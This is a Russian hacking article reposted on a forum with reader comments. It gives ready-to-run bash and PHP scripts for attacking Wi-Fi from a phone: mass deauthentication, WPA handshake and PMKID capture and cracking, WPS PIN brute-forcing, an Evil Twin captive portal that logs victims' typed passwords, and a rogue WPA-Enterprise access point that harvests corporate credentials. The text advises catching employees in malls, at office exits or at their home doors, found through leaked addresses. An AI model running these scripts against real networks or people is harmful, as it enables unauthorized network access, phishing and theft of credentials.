/opt/giskismet/giskismet -q "SELECT * FROM wireless" -o $dumpfile.kml && mv $dumpfile.kml /sdcard/

Скрипт содержит запуск всего, что может быть полезно при разведке беспроводных устройств. Программа airodump-ng крайне информативна, ее лог содержит много разнообразных данных, но вывод на консоль текущей информации не очень удобен на телефоне, особенно в присутствии множества сетей Wi-Fi. Утилита hcxdumptool имеет вертикальный waterfall-интерфейс, кратко и емко описывающий все изменения в радиоэфире, поэтому ее вывод больше подходит для просмотра текущей информации.

Параллельно с airodump-ng и hcxdumptool запускается программа Kismet. Помимо того что она в фоновом режиме также собирает информацию для последующего анализа, ее веб‑интерфейс может быть использован для удобного просмотра текущих данных.

Веб-интерфейс на телефоне немного удобнее консоли

После завершения сбора информации атакующему предстоит проанализировать кучу дампов и логов, содержащих сведения об услышанных беспроводных устройствах в самых разных форматах:
  • out-DD.MM.YYYY-HH:mm:SS-01.cap — сырой дамп Wi-Fi-трафика (только Probe, Beacons);
  • out-DD.MM.YYYY-HH:mm:SS-01.csv — подробная информация о точках доступа и клиентах в текстовом виде;
  • out-DD.MM.YYYY-HH:mm:SS-01.gps — JSON-лог информации о GPS за все время разведки;
  • out-DD.MM.YYYY-HH:mm:SS-01.kismet.csv — информация по точкам доступа;
  • out-DD.MM.YYYY-HH:mm:SS-01.kismet.netxml — то же, но в XML;
  • out-DD.MM.YYYY-HH:mm:SS-01.log.csv — информация по всем слышимым беспроводным устройствам на каждом шаге перемещения;
  • out-DD.MM.YYYY-HH:mm:SS.pcap — сырой дамп всего Wi-Fi-трафика;
  • Kismet-YYYYMMDD-HH-mm-ss-1.kismet — база SQLite, описывающая беспроводные устройства, а также каждый шаг передвижения;
  • out-DD.MM.YYYY-HH:mm:SS-CAPR.png — граф связей точки доступа и клиентов;
  • out-DD.MM.YYYY-HH:mm:SS-CPG.png — граф связей клиентов и Probe-запросов.
Скрипт recon.sh на этом не заканчивает свою работу. С помощью airgraph-ng по услышанному трафику он формирует два графа связей — точек доступа с клиентами и клиентов с их Probe-запросами. И для удобства эти графы могут быть скопированы в корень /sdcard/, чтобы их можно было посмотреть в самой обычной галерее телефона, даже не отходя от объектов атак.

Наконец, утилита giskismet, используя логи airodump-ng, сопоставляет все обнаруженные точки доступа на карте.

Триангуляция точек доступа по сигналу — вещь не сильно точная, поэтому airodump-ng в качестве геолокации показывает место, где впервые была обнаружена точка доступа. Зато программа Kismet выполняет уже полноценную триангуляцию на основе всех перемещений относительно каждой точки доступа. Причем это справедливо и в отношении клиентских устройств (включая Bluetooth и беспроводные мышки и клавиатуры), которые также могут быть объектами будущих атак. Kismet сохраняет еще и список всех слышимых беспроводных устройств в каждой точке пути, что может быть использовано для составления тепловой карты сигнала. Все это можно экспортировать в интерактивную HTML-страницу поверх карт, как продемонстрировано в статье «Мегадрон. Строим хакерский беспилотник — дальнобойный и с защитой от глушилок».

В итоге подобная разведка сводится к простой прогулке вдоль периметра объекта, когда у хакера в кармане лежит телефон с запущенным скриптом. А затем можно проанализировать данные, не отходя от объектов атак, — на телефоне. После чего атакующий может вернуться в те или иные места уже с заранее приготовленными сценариями атак, которые можно реализовать с помощью Pineapple или телефона.

Разведка призвана показать изъяны в системе защиты, а значит, время переходить к атакам.

Атаки на точки доступа​

Существует несколько атак, позволяющих получить общий ключ для доступа к беспроводной сети WPA PSK. Этот тип беспроводных сетей встречается чаще всего.

Перехват Handshake (deauth)​

Самая известная из атак — перехват WPA handshake с его последующим брутфорсом. WPA handshake прилетает от клиента во втором пакете «рукопожатия» (EAPOL M2). Задача атакующего — набрать такие handshake, используя подвижность и неприметность телефона. После чего набранные handshake могут быть подвергнуты брутфорсу на другом, более мощном, чем телефон, оборудовании. Чтобы атакующему не приходилось корректировать команды каждый раз под новые беспроводные сети, проще запустить автоматическую деаутентификацию всего и вся одной командой, с возможностью указать частотные каналы:

wifi/wpapsk/deauth.sh​

Bash:
#!/bin/bash
[[ $# -ge 1 ]] && channels="$1" || channels='1,6,11'
dumpfile=out-$(date +'%H:%M:%S_%d.%m.%Y')
tmux new-session -d -s deauth "sudo hcxdumptool -i mon0 --enable_status=1 -o $dumpfile.pcapng --silent --passive"
tmux split-window -v -t deauth "sudo mdk4 mon0 d -c $channels"
tmux a -t deauth
tcpdump -r $dumpfile.pcapng -nn -w $dumpfile.pcap
rm -f $dumpfile.pcapng
Утилита hcxdumptool работает в пассивном режиме, только захватывая пакеты. Также она оповещает об услышанных пакетах аутентификации (EAPOL), в которых как раз содержится handshake. За деаутентификацию в этом случае отвечает mdk4. Ниже приведен наглядный пример атаки с телефона, выполненный на стенде.

Отключение клиента от точки доступа и перехват его handshake

Так как атакующий имеет экран и клавиатуру, он может попробовать подобрать пароль прямо на телефоне. Поскольку требуется подбирать пароли только к правильным хешам, нужно отбросить все половинчатые handshake. Иными словами, брутфорсить целесообразно только последовательности EAPOL M1 + M2 + M3, потому что на неправильный пароль точка доступа M3-подтверждение уже не отправляет:

wifi/wpapsk/brute-wpapsk.sh​

Bash:
#!/bin/bash
tmp="m2m3-$RANDOM"
for pcap in *.pcap
do
  hcxpcapngtool "$pcap" -o "$tmp.txt" --all
done
hcxhashtool -i "$tmp.txt" --authorized -o "valid-$tmp.txt"
hcxhash2cap --pmkid-eapol="valid-$tmp.txt" -c "$tmp.pcap"
aircrack-ng -w /opt/wordlists/top100k.txt "$tmp.pcap" && read ok
rm "$tmp.txt"; rm "valid-$tmp.txt"; rm "$tmp.pcap"
Подбор пароля к точке доступа по WPA handshake

Cкрипт генерирует новые PCAP-файлы, содержащие только корректные handshakes. Обрати внимание, что брутфорс выполняется простым aircrack-ng, так как его на телефоне собрать проще, чем john и тем более hashcat. Именно по этой причине для хранения хешей используется наиболее универсальный формат PCAP.

Сбор handshake часто не требует много времени, а все, что нужно атакующему, — это лишь подойти поближе к точке доступа. Поэтому в большинстве случаев такую атаку целесообразнее провести с телефона. В тех же ситуациях, когда клиенты появляются редко, можно задействовать Pineapple, положив его куда‑нибудь в укромное место на длительное время.

Захват PMKID (auth)​

Подобрать пароль к сети WPA PSK можно не только перехватом handshake. Весьма неплохой альтернативой может быть захват похожего хеша, называемого PMKID. PMKID используется, как правило, корпоративными роутерами для бесшовного переключения между множествами точек доступа с одинаковым именем. Передается PMKID в первом «рукопожатии» (EAPOL M1). Такой пакет может быть получен просто при попытке аутентифицироваться на целевой точке доступа еще до ввода пароля (EAPOL M2).

Выходит, эта атака проще по реализации, ведь она не требует клиента. Однако далеко не каждая точка доступа ей подвержена.

От атакующего требуется набрать PMKID хешей как можно с большего количества беспроводных точек доступа. Для этого можно использовать следующий скрипт, который автоматически инициирует аутентификацию к каждой новой точке доступа:

wifi/wpapsk/auth.sh​

Bash:
#!/bin/bash
dumpfile="out-$(date +'%H:%M:%S_%d.%m.%Y')"
sudo hcxdumptool -i mon0 -s 4 -t 2 --enable_status=7 -o $dumpfile.pcapng --disable_client_attacks --disable_deauthentication
tcpdump -r $dumpfile.pcapng -nn -w $dumpfile.pcap
rm -f $dumpfile.pcapng
ls -lh $dumpfile.pcap
Для совершения такой атаки не нужны особые условия, требуются только уязвимые точки доступа. Поскольку в этом случае не выполняется деаутентификация, атака полностью бесшумная, на стенде она может выглядеть совсем безобидно.

Захват PMKID с подверженных точек доступа

Программа для подбора пароля aircrack-ng при наличии хешей PMKID (EAPOL M1) и WPA handshake (EAPOL M2) отдает предпочтение последнему, а значит, может подбирать захваченный неправильный пароль. Чтобы брутить именно набранные PMKID, нужно оставить только handshake-четвертинки, отбросив EAPOL M2:

wifi/wpapsk/brute-pmkid.sh​

Bash:
#!/bin/bash
tmp="m1-$RANDOM"
for pcap in *.pcap
do
  hcxpcapngtool "$pcap" --pmkid="$tmp.txt"
done
hcxhash2cap --pmkid="$tmp.txt" -c "$tmp.pcap"
aircrack-ng -w /opt/wordlists/top100k.txt "$tmp.pcap" && read ok
rm "$tmp.txt"; rm "$tmp.pcap"
Подбор пароля к точке доступа по PMKID

Скорость брутфорса PMKID схожа с WPA handshake. Атака на PMKID работает далеко не с каждой точкой доступа, поэтому атаковать целесообразнее в движении, обнаруживая все новые и новые цели.

Атака на WPS​

Старая, но еще актуальная атака на WPS — тоже must have для хакера. Уязвимость заключается в возможности подобрать по частям 8-значный PIN-код, который используется для получения ключа WPA PSK.

У атаки есть несколько вариантов подбора:
  • полный перебор;
  • отсутствие PIN-кода;
  • vendor-specific PIN-коды;
  • Pixie Dust.
Для автоматизации можно последовательно пробовать разные техники подбора:

wifi/wpapsk/wps.sh​

Bash:
#!/bin/bash
[[ $# -ge 1 ]] && AP="$1" || {
  sudo wash -i mon0 -s
  read -p 'BSSID: ' AP
}
sudo reaver -i mon0 -b "$AP" -F -w -N -d 2 -l 5 -t 20 -vv -K # Pixie Dust
sudo reaver -i mon0 -b "$AP" -F -w -N -d 2 -l 5 -t 20 -vv # Full
Скрипт сначала покажет все слышимые точки доступа, на которых активен WPS.

Запуск атаки на WPS точки доступа

После ввода BSSID точки доступа идет попытка более быстрой атаки Pixie Dust. В случае неудачи запустится классический длительный перебор PIN-кода. На рисунке ниже показано, как атака может выглядеть на стенде с быстрой эксплуатируемой Pixie Dust.

Телефон успешно атаковал по WPS точку доступа

Атаке на WPS может быть подвержен как корпоративный, так и домашний роутер и даже принтер. С помощью этой атаки можно максимум за 11 000 попыток подобрать цифровой PIN-код, который позволит подключиться к беспроводной сети аналогично использованию PSK-ключа. Если уязвимость Pixie Dust имеется, PIN-код будет подобран за несколько секунд.

Атаковать быструю Pixie Dust целесообразно c телефона, двигаясь и охватывая множество целей. Но эксплуатация атаки полным перебором кодов WPS PIN может затянуться на много часов. Следовательно, для этого оптимально использовать автономный Pineapple, чтобы часами не стоять возле атакуемой точки доступа.

Онлайн-брутфорс​

Но что, если у точки доступа совсем нет клиентов? Более чем в половине случаев точки доступа могут не иметь ни клиентов, ни подверженного перебору WPS и тем более пригодного к брутфорсу PMKID. Однако и такие устройства могут быть легко атакованы.

Подбор паролей ко всем слышимым точкам доступа

Подробности этой атаки вынесены в отдельную статью — «Брут на ходу. Атакуем беспроводные сети простым и эффективным способом».

Атаки на клиенты​

Все рассмотренные выше атаки объединяет то, что они направлены на точку доступа. Теперь предлагаю рассмотреть другую сторону атак — на клиенты.

RoqueAP — это целое семейство атак на Wi-Fi-клиенты через вредоносные точки доступа, к которым у пользователей или их устройств есть доверие. Ведь без доверия взаимодействовать с ними не получится, так как именно клиенты инициируют подключение. Глобально такие атаки можно разделить на две группы:
  • атака на самих пользователей, требующая применять социальную инженерию (Evil Twin);
  • атака на клиентские устройства, zero click (EAP, Karma).

Evil Twin​

Эта атака наглядно продемонстрирована в статье про Pineapple. Атакующий может провести ее с телефона даже на встроенном Wi-Fi-адаптере, так как для нее не нужен режим монитора, а поддержка режима точки доступа есть почти в каждом современном телефоне.

Следующий скрипт запускает необходимые компоненты атаки — точку доступа с привлекательным именем сети, DHCP- и DNS-серверы, а также веб‑сервер, настойчиво запрашивающий у пользователя те или иные данные:

wifi/roque_ap/eviltwin/run.sh​

Bash:
#!/bin/bash
[[ $# -ge 1 ]] && essid="$1" || read -p 'essid: ' essid
[[ $# -ge 2 ]] && wwwroot="$2" || wwwroot='pages/simple'
sudo ifconfig wlan0 up
sudo ip a add 11.0.0.1/24 dev wlan0
sudo ip r add 11.0.0.0/24 dev wlan0 table 97
sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-ports 80
tmux new-session -d -s eviltwin "./hostapd.sh '$essid' ''"
tmux split-window -v -t eviltwin "./dnsmasq.sh"
tmux split-window -v -t eviltwin "sudo php -S 11.0.0.1:80 captive.php '$wwwroot'"
tmux a -t eviltwin
sudo ifconfig wlan0 0
sudo iptables -t nat -D PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-ports 80
echo 'done'
Скрипт после запуска запрашивает имя беспроводной сети и шаблон веб‑страницы для Captive-портала. После чего он запускает три компонента, разделив экран на три области.

Первая треть экрана — это реализация самой точки доступа:

wifi/roque_ap/eviltwin/hostapd.sh​

Bash:
#!/bin/bash
[[ $# -ge 1 ]] && essid="$1" || read -p 'essid: ' essid
[[ $# -ge 2 ]] && password="$2" || read -p 'password: ' password
if [ -z "$password" ]; then
  config='ap_opn.conf'
else
  config='ap_wpa.conf'
fi
sudo rm /tmp/$config
cp $config /tmp/$config
sed -i "s/__ESSID__/$essid/g" /tmp/$config
sed -i "s/__PASS__/$password/g" /tmp/$config
sudo hostapd /tmp/$config
wifi/roque_ap/eviltwin/ap_opn.conf
interface=wlan0
driver=nl80211
ssid=__ESSID__
hw_mode=g
channel=1
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
Вторая треть экрана — это DHCP- и DNS-серверы, которые показывают атакующему, что клиент подключился к его точке доступа и получил IP-адрес. Каждая попытка обращения клиента к тому или иному ресурсу по DNS-имени приводит его на IP-адрес точки доступа:

wifi/roque_ap/eviltwin/dnsmasq.sh​

Bash:
#!/bin/bash
sudo dnsmasq --conf-file=dnsmasq.conf -d
wifi/roque_ap/eviltwin/dnsmasq.conf
domain=fake.net
interface=wlan0
dhcp-range=11.0.0.10,11.0.0.20,24h
dhcp-option=1,255.255.255.0
dhcp-option=3,11.0.0.1
dhcp-option=6,11.0.0.1
dhcp-option=121,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1
dhcp-option=249,0.0.0.0/1,11.0.0.1,128.0.0.0/1,11.0.0.1
local-ttl=30
address=/#/11.0.0.1
Получение клиентом IP-адреса можно считать полноценным подключением к точке доступа.

Наконец, третья область экрана — это собственно Captive-портал, на который заворачивается весь веб‑трафик от клиента. Он показывает все обращения клиента к веб‑ресурсам и попытки ввода пароля в фишинговую веб‑форму:

wifi/roque_ap/eviltwin/captive.php​

PHP:
<?php
$root = str_getcsv(file_get_contents('/proc/self/cmdline'), "\0")[4];
$script = str_replace('..', '', urldecode($_SERVER['SCRIPT_NAME'])); // safety
header('HTTP/1.1 200 OK');
header('Content-type: '); // disable Content-Type
if ( is_file($root . $script) )
    echo file_get_contents($root . $script);
else
    echo file_get_contents($root . "/index.html");
foreach($_POST as $par=>$val)
    error_log( "\x1b[31m" . "$par: $val" . "\x1b[0m" );
?>
Лендинг страницы, которую видит жертва, может быть выбран уже под конкретную ситуацию. Злоумышленник может сверстать его самостоятельно, но проще скопировать дизайн страницы с помощью браузера: Ctrl-S → «Веб‑страница полностью». Такая копия полностью автономна — все скрипты, стили и картинки загружаются без интернета. После чего папку с сохраненными файлами можно положить на телефон в wifi/roque_ap/eviltwin/pages/new_page/.

Код captive.php реализован так, чтобы можно было подключить любую предварительно клонированную страницу с минимумом правок. Как правило, компоненты веб‑страницы загружаются методом GET, а введенные данные с веб‑форм уходят методом POST. Поэтому скрипт подсвечивает красным именно POST-параметры. В нижней трети экрана можно увидеть введенные пользователем данные.

Атака Evil Twin и захват пароля на стенде

На иллюстрации показаны простейшая страница Captive-портала и результат ввода данных, который тут же отражается в телефоне атакующего. При этом видны и момент подключения к подставной точке доступа, и получение IP-адреса от нее. Это тоже может быть полезно для оценки конверсии жертв атак Evil Twin: сколько подключилось, а сколько ввело данные. Такая информация может быть полезна при пентестах для оценки уровня осведомленности сотрудников. А вот так эта атака смотрелась бы в реальных обстоятельствах.

Атака Evil Twin и захват пароля в действии

Творческий подход в претексте играет ключевую роль. Не стоит переоценивать скорость этой атаки. Клиент далеко не сразу может подключиться к подставной точке доступа и уж тем более ввести какой‑то пароль. Эта атака может проходить часами или даже днями. В связи с чем ее целесообразнее проводить с помощью автономного Pineapple. Но иногда, когда клиенты слишком рассредоточены по площади, удобнее совершать ее с телефона.

EAP​

Сети WPA Enterprise часто встречаются на предприятиях. Эта атака подробно описана в соответствующем разделе статьи о Pineapple и в материале «Мегадрон. Строим хакерский беспилотник — дальнобойный и с защитой от глушилок». В этой статье продемонстрирована возможность ее реализации с телефона.

Приведенный ниже скрипт запускает сеть WPA Enterprise с указанным именем на немного пропатченной версии hostapd-wpe:

wifi/roque_ap/eap/run.sh​

Bash:
#!/bin/bash
[[ $# -ge 1 ]] && essid="$1" || read -p 'essid: ' essid
EAP='wlan0'
MON='mon0' #opt
cp /etc/hostapd-wpe/hostapd-wpe.conf /tmp/hostapd-wpe.conf
sed -i "s/interface=.*/interface=$EAP/g" /tmp/hostapd-wpe.conf
sed -i "s/ssid=.*/ssid=$essid/g" /tmp/hostapd-wpe.conf
echo "[+] attacking $essid"
#sudo timeout $attack_time mdk4 $MON d -c 1,6,11 &
sudo hostapd-eaphammer -x /tmp/hostapd-wpe.conf
Чтобы привлечь жертвы, можно и глушить сигналы легитимных точек доступа.

Эта атака чрезвычайно опасна, но менее известна, чем предыдущие. Еще большую опасность атаке придает простота исполнения — ее можно реализовать на встроенном Wi-Fi-адаптере телефона.
Стоит обратить особое внимание, что в таком случае учетные данные отправляет именно устройство, а не пользователь! Следовательно, телефон может спокойно лежать в кармане у сотрудника компании, когда неподалеку от него находится хакер.

Чтобы не соревноваться с сигналами корпоративных точек доступа, хакер может поджидать цели атак на выходе из офиса — там, где сотрудники, спешащие домой, еще не успели отключить Wi-Fi. Устройства таких сотрудников отправляют свои пароли злоумышленнику в виде хеша (WPA Enterprise MSCHAP) или открытого текста (WPA Enterprise GTC).
Атака поддельной Enterprise-сети и захват пароля на объекте

Так как атакующий взаимодействует непосредственно с клиентским устройством (не пользователем), атака является, что называется, zero click, ее скорость достаточно высокая, так что ее вполне можно провести с телефона или даже дрона. При этом злоумышленник абсолютно никак не выделяется на фоне окружающих, ведь в руках у него обычный телефон.

А что, если атакующий направится в час пик в людное место? Мимо него за короткий промежуток времени могут пройти десятки тысяч людей со своими беспроводными устройствами. Вполне вероятно, что подобная «рыбалка» зацепит чей‑то корпоративный пароль.

Подверженные атаке клиентские устройства могут быть максимально распределены по городской территории, и атакующему необязательно быть где‑то поблизости от объекта проникновения. Людное место, такое как торговые центры, где достаточно большая плотность и высокая вероятность встретить сотрудников интересующей компании, могут быть отличным местом, чтобы собрать нужные учетные данные.

Вообще, злоумышленник для проведения такой атаки может вовсе не появляться возле объекта проникновения, даже на этапе разведки для получения имен беспроводных сетей. Имя сети может быть взято из специализированных публичных источников (OSINT), собирающих имена сетей с привязками к географическим координатам. А цели атак — сотрудники — могут быть атакованы даже у себя дома, их адреса тоже можно выяснить благодаря многочисленным утечкам в интернете.

Клиентские беспроводные устройства, подключенные к домашним Wi-Fi-сетям и никак не ожидающие появления корпоративной беспроводной сети, также бессознательно могут отправить учетные данные хакеру, стоящему за дверью, в момент, когда его сигнал окажется чуть сильнее точки доступа.
Утечка корпоративной учетки у двери квартиры на стенде

Так что такая атака может произойти где‑то далеко от охраняемого физического периметра и остаться полностью незамеченной.

Karma​

Karma позволяет атаковать уже непосредственно сами устройства, причем даже автономные, за которыми не работает пользователь. Это может быть заблокированный компьютер, телефон, лежащий в кармане, или даже IP-камера, висящая на периметре. Детали этой атаки описаны в статье «KARMAгеддон. Атакуем клиентские устройства с помощью Karma».

К сожалению, формат статьи имеет свои ограничения на объем и здесь я вынужден поставить точку. Но лишь в первой части.

Мы обсудили самые очевидные атаки, которые можно провести с телефона. Во второй же части статьи будет рассмотрен еще ряд атак, уже более экзотических, но отнюдь не менее опасных.

Автор @s0i37
Lead cybersecurity analyst at USSC t.me/s0i37_channel
источник xakep.ru
 
Пожалуйста, обратите внимание, что пользователь заблокирован
С интересом читал статью и поймал себя на мысли, что автор - самый настоящий герой игры Watch Dogs. Там главный герой так-же ловко управлялся с телефоном.
 
С интересом читал статью и поймал себя на мысли, что автор - самый настоящий герой игры Watch Dogs. Там главный герой так-же ловко управлялся с телефоном.
Статья топ! Был бы конкурс статей, я бы отдал свой голос этому автору
Это точно. Если кто-то знаком с @s0i37, предложите ему писать для нашего форума =) https://xss.pro/threads/36600/ Человек пишет интересно. Очень достойные материалы.
 
Хорошая компиляция не только материала, но и знаний, но действительность ныне такова, что "атаковать" вам придется свой собственный телефон для успешного применения чего-нибудь из статьи. Некоторые моменты теория в фантазийных тонах потенциального, некоторые не могу назвать полезными. В частности, хождение внутри зданий, торговых центров для изучения и последующих посягательств. Знаете, начинающие воры карманники вряд ли ходят шупать лохов в торговых центрах, особенно было бы странным читать такие напутствия знатоков этого дела.
Всё это очень интересно, но к сожалению большинство этих "атак" ограничатся вашим испытуемым андроид-девайсом, не более. На счет ходить по общественным местам с такой ебалой как на фото, лучше подумайте дважды, прежде чем хакерский ветер задует в жопу приключений, закончится это может не сколько юридически плохо, столько житейски - о вашем хобби, или кредо изучения и поисков уязвимостей будут знать все уполномоченные города. Тогда забвение вам точно не грозит.
 
Это точно. Если кто-то знаком с @s0i37, предложите ему писать для нашего форума =) https://xss.pro/threads/36600/ Человек пишет интересно. Очень достойные материалы.
Человек не против данной затеи. Ждём автора на форуме
 
Эта статья действительно замечательна, благодарю вас, мастер, за то, что расширили мой кругозор и пробудили во мне больше интереса к аппаратному обеспечению.
 
Статья очень интересная и видно что автор статьи сам потыкал палкой это все. Но не хочу вызвать шквал критики - шанс не устаревший ломануть wifi мне кажется нулевым. Катать по городу, фиксировать точки и потом выискивать те которые имеют старые уязвимые механизмы авторизации которые можно ломануть или подобрать пароль хеша - зачем? с точки зрения современной капиталистической сути мне кажется бесполезная затея, за которую можно и сесть(если админ сети параноик, есть камеры и взвод быстрого реагирования, т.к. хакер с телефоном рядом, очень заметная личность с телефоном). Ломануть ради романтики хакера - ну тут только мое уважение может быть, а я очень старый хрычь и стараюсь время на сантименты не тратить. Данные инструменты и подходы в статье как по мне уместены только если Вы хотите заняться белым платным пентестом, отомстить корпорантам/заработать на шантаже. Советовал автору включить данные тезисы в статью, чтобы не вводить в заблуждение выбора целей. Но за статью еще спасибо.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх